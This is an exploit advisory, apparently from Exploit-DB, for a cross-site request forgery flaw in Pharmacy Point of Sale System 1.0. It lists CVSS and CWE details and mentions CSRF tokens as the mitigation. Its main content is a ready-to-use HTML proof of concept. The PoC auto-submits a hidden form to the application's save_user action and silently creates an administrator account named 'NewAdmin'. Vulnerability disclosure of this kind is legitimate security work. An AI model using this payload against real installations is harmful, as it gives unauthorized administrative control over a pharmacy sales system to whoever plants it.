Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)

vendor:

Pharmacy Point of Sale System

by:

Murat DEMIRCI

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Pharmacy Point of Sale System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:pharmacy_point_of_sale_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2021

Pharmacy Point of Sale System 1.0 – ‘Add New User’ Cross-Site Request Forgery (CSRF)

The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.

Mitigation:

Implementing CSRF tokens to verify the authenticity of the request.

Source

Exploit-DB raw data:

# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)
# Date: 10/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Version: 1
# Tested on: Windows 10

Detail:
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.

CSRF PoC:

--------------------------------------------------------------------------------------

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/pharmacy/Actions.php?a=save_user" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="fullname" value="Mrt" />
      <input type="hidden" name="username" value="NewAdmin" />
      <input type="hidden" name="type" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

--------------------------------------------------------------------------------------